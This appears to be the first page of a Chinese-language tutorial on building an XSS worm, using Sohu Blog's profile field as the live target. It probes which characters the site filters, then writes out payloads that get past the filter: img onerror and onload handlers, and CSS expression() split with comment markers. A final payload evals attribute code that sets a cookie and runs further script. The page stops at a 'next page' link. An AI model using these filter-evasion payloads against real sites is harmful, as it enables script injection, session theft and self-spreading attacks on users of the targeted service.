|
XSS wrom网站如何实现入侵?不说废话,且看怎么实现,我先拿SOHU BLOG做示范。
1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些。
| ’’;:!--"<javascript JAvaSCriPT>=&#{()} \/ | 结果
| ’’;:!--"=&#{()} // (&后是amp,论坛过滤了) |
过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手。
2. 测试一个XSS常用属性和两个事件,貌似没有过滤字符。 expression onerror onload
3. 下面开始尝试构造语句。如下:
|
<img src="#" style="Xss:expression(alert(’xss’));">
<img src="#" onerror=alert(’xss’)>
<img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)> | 构造完整标记,页面输出后又全部过滤。
4. "/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:
| <div style="xss:ex/**/pre/**/ssion(alert(’xss’))"> |
5. 由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:
| <DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}"> |
//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数。
[1] [2] 下一页 |